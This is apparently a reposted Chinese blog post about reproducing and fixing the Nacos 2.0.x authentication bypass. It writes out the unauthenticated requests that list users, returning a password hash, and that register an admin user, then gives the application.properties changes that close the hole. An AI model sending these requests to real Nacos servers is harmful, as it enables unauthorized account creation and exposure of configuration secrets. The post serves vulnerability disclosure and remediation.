背景
公司Nacos版本有用的2.0.1和2.0.3的都復(fù)現(xiàn)了身份認(rèn)證的漏洞,無(wú)需認(rèn)證身份就可以查看用戶列表以及注冊(cè)新用戶,并且注冊(cè)上來(lái)的新用戶可以查看所有public命名空間下的配置資源!
漏洞復(fù)現(xiàn)
1、查看用戶列表
- URL:
http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
- 方法類型:GET
- 返回結(jié)果:
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$gZoOI701ByEP8LatzrVyneAf4zoYAyLoCrrlegCeYkFbqgtaoBIQ."}]}
如圖示:
2、用戶注冊(cè)
無(wú)需任何用戶憑證即可新建用戶,例如這里我新建admin/123456
用戶。
- URL:
http://ip:8848/nacos/v1/auth/users?username=admin&password=123456
- 方法類型:POST
- 返回結(jié)果:
{
"code": 200,
"message": null,
"data": "create user ok!"
}
postman測(cè)試截圖:
可以看到提示創(chuàng)建用戶成功。使用賬號(hào)登錄可以看到所有public命名空間下的配置資源,這里登錄截圖就不貼出來(lái)了,大家可以自己去測(cè)試。
整改措施
通過(guò)檢索,發(fā)現(xiàn)修改nacos的application.properties
的配置可以解決這個(gè)問(wèn)題,需要修改的配置內(nèi)容如下:
#修改配置文件application.properties,修改以下三項(xiàng):
① 將nacos.core.auth.enabled=false改為true
② 將nacos.core.auth.enable.userAgentAuthWhite=true 改為false
③ nacos.core.auth.server.identity.key=自定義的值
nacos.core.auth.server.identity.value=自定義的值
#重啟nacos:
systemctl restart nacos
經(jīng)過(guò)實(shí)踐,第三點(diǎn)自定義的值可以自己定義,和我們需要注冊(cè)上nacos的服務(wù)配置沒(méi)有關(guān)聯(lián)。修改完上面配置后,再次嘗試上述兩個(gè)漏洞得到下列返回:
可以看到獲取用戶列表接口被禁止了。
可以看到新建用戶接口也被禁止了。使用admin/123456
登錄系統(tǒng):
此時(shí)admin用戶已經(jīng)沒(méi)有權(quán)限查看public命名空間的配置資源了。至此nacos此次的認(rèn)證漏洞算是告一段落了。
奇怪的是漏洞問(wèn)題最早是2020年12月份發(fā)現(xiàn)的,網(wǎng)上博客對(duì)于這個(gè)漏洞的集中爆發(fā)討論在21年,這2022年都快過(guò)完了沒(méi)想到團(tuán)隊(duì)才發(fā)現(xiàn)這個(gè)漏洞!文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-409210.html
道友可以在博客下方留言互相探討學(xué)習(xí)或者關(guān)注公眾號(hào)fairy with you
了解更多,歡迎來(lái)撩!
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-409210.html
注:本博客僅用于交流學(xué)習(xí),不用于任何商業(yè)用途,歡迎思維碰撞。
到了這里,關(guān)于Nacos身份認(rèn)證漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!